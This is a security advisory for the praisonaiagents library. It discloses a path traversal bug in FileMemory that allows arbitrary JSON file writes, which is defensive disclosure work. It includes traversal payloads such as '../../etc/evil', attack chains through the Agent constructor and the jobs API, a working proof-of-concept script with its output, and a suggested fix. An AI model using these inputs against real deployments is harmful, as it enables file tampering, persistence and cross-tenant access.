OSV 1.4.0 · github-reviewed · 修改于 2026-08-25 23:09
发布时间
2026-08-25 23:09
GitHub 审查时间
2026-08-25 23:09
NVD 发布时间
—
源文件
advisories/github-reviewed/2026/08/GHSA-gxmw-5f7x-6g22/GHSA-gxmw-5f7x-6g22.json
praisonaiagents/memory/file_memory.py::FileMemory.__init__() constructs all
memory file paths by directly joining the user_id parameter to a base path:
self.user_path = self.base_path / user_id # LINE 145 — no sanitization
No validation or normalization is applied to user_id before the path join.
An attacker who can supply a user_id containing ../ sequences can write
arbitrary JSON files (memory content) to any writable location on the filesystem.
The vulnerability is confirmed live on the current main branch
(praisonaiagents==1.6.52) and is distinct from GHSA-766v-q9x3-g744
(which covered MultiAgentMonitor in an example file, not FileMemory in the
core library).
Vulnerable code — praisonaiagents/memory/file_memory.py lines 139-157:
def __init__(
self,
user_id: str = "default",
base_path: Optional[str] = None,
...
):
...
self.user_path = self.base_path / user_id # LINE 145 — NO SANITIZATION
self.episodic_path = self.user_path / "episodic"
self.user_path.mkdir(parents=True, exist_ok=True) # creates dirs at traversed path
self.episodic_path.mkdir(parents=True, exist_ok=True)
self.config_file = self.user_path / "config.json"
self.short_term_file = self.user_path / "short_term.json"
self.long_term_file = self.user_path / "long_term.json"
self.entities_file = self.user_path / "entities.json"
self.summaries_file = self.user_path / "summaries.json"
All five JSON files are written under user_path, which is directly derived from
the attacker-controlled user_id. The written content is valid JSON in the memory
item format (configurable user content + metadata).
Comparison with the patched reference — praisonaiagents/storage/backends.py
(SQLiteBackend):
The sibling SQLiteBackend validates its table_name with a regex:
if not re.match(r'^[a-zA-Z0-9_]+$', table_name):
raise ValueError(...)
No equivalent validation exists in FileMemory.
Attack chains:
A — Direct Python API (any caller):
from praisonaiagents.memory.file_memory import FileMemory
mem = FileMemory(user_id="../../etc/evil")
mem.add_short_term("injected content")
# Creates /etc/evil/short_term.json (on Linux)
# Creates C:\evil\short_term.json (on Windows)
B — Via Agent constructor (memory dict):
from praisonaiagents import Agent
agent = Agent(
name="assistant",
memory={"provider": "file", "user_id": "../../etc/evil"},
instructions="You are a helpful assistant.",
)
# FileMemory(user_id="../../etc/evil") called at agent init
C — Via agents.yaml / job submission (agent_yaml field):
# Submitted via POST /jobs with agent_yaml:
agents:
researcher:
memory:
provider: file
user_id: "../../tmp/evil"
role: "Research assistant"
goal: "Research topics"
agents_generator.py passes the memory.user_id value to the Agent constructor.
Environment: Python 3.9+, praisonaiagents <= 1.6.52
Step 1 — Verify path escapes base (no dependencies needed):
from pathlib import Path
import tempfile
base = Path(tempfile.gettempdir()) / "praisonai" / "memory"
user_id = "../../../tmp/evil_escape"
user_path = base / user_id
try:
user_path.resolve().relative_to(base.resolve())
print("SAFE")
except ValueError:
print("!!PATH ESCAPES BASE!!")
print("Writes to:", user_path.resolve())
Output:
!!PATH ESCAPES BASE!!
Writes to: <TMPDIR>/tmp/evil_escape
Step 2 — Live exploit (files written outside base):
import tempfile, json
from pathlib import Path
from praisonaiagents.memory.file_memory import FileMemory
BASE = Path(tempfile.gettempdir()) / "praisonai_base" / "memory"
BASE.mkdir(parents=True, exist_ok=True)
TARGET = (BASE / "../../praisonai_path_traversal_proof").resolve()
mem = FileMemory(user_id="../../praisonai_path_traversal_proof", base_path=str(BASE))
mem.add_short_term("PROOF_OF_TRAVERSAL: attacker wrote this")
mem.add_long_term("SENSITIVE_DATA", importance=0.9)
# Verify files appeared OUTSIDE the base directory
for fname in ["short_term.json", "long_term.json", "config.json"]:
f = TARGET / fname
if f.exists():
print(f"WRITTEN: {f}")
print(f"Content: {json.loads(f.read_text())[0]['content'] if fname != 'config.json' else '...'}")
Observed output (run on current main):
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/short_term.json
Content: PROOF_OF_TRAVERSAL: attacker wrote this
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/long_term.json
Content: SENSITIVE_DATA
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/config.json
What kind of vulnerability: Arbitrary file write via path traversal. Any JSON content can be written to any filesystem path writable by the process.
Who is impacted:
FileMemory instances with user-controlled user_iduser_id parameter directly
or indirectly (via Agent(memory={"user_id": ...}), agents.yaml, or jobs API)High-impact scenarios:
Overwrite Python package files: On systems where Python packages are stored in a world-writable or user-writable path, JSON files can be written over package files, causing import failures or (in edge cases) execution if a JSON parser is swapped for a Python parser.
Overwrite web server / app config: Write config.json or settings.json
to an app's configuration directory, potentially modifying runtime behavior.
Cron / startup persistence: Write JSON files to /etc/cron.d/ paths
(Linux) or %APPDATA%\Startup\ (Windows) directories that might be interpreted
by monitoring systems.
Denial of Service: Write large JSON memory files into system directories, filling disk space or overwriting critical config files.
Multi-tenant deployments: In a multi-tenant PraisonAI deployment where users can create agents with custom memory configs, one user can read/overwrite another user's memory files by traversing to their path.
Distinction from GHSA-766v-q9x3-g744:
| GHSA-766v-q9x3-g744 | This finding | |
|---|---|---|
| File | examples/context/12_multi_agent_context.py (example) | praisonaiagents/memory/file_memory.py (core library) |
| Class | MultiAgentMonitor | FileMemory |
| Fixed in | praisonaiagents >= 1.5.115 | Not patched (affects 1.6.52) |
---
## Remediation Suggestion (for maintainers)
Validate and resolve `user_id` before using it in path construction:
```python
def __init__(self, user_id: str = "default", base_path=None, ...):
...
# ADDED: sanitize user_id
import re
if not re.match(r'^[a-zA-Z0-9_\-\.]+$', user_id):
raise ValueError(
f"user_id '{user_id}' contains invalid characters. "
f"Only alphanumeric characters, hyphens, underscores, and dots are allowed."
)
self.user_path = self.base_path / user_id
# ADDED: verify the resolved path is within base (defense-in-depth)
resolved = self.user_path.resolve()
base_resolved = self.base_path.resolve()
try:
resolved.relative_to(base_resolved)
except ValueError:
raise ValueError(
f"user_id '{user_id}' would write outside the base memory directory."
)
The same pattern should be applied to base_path parameter.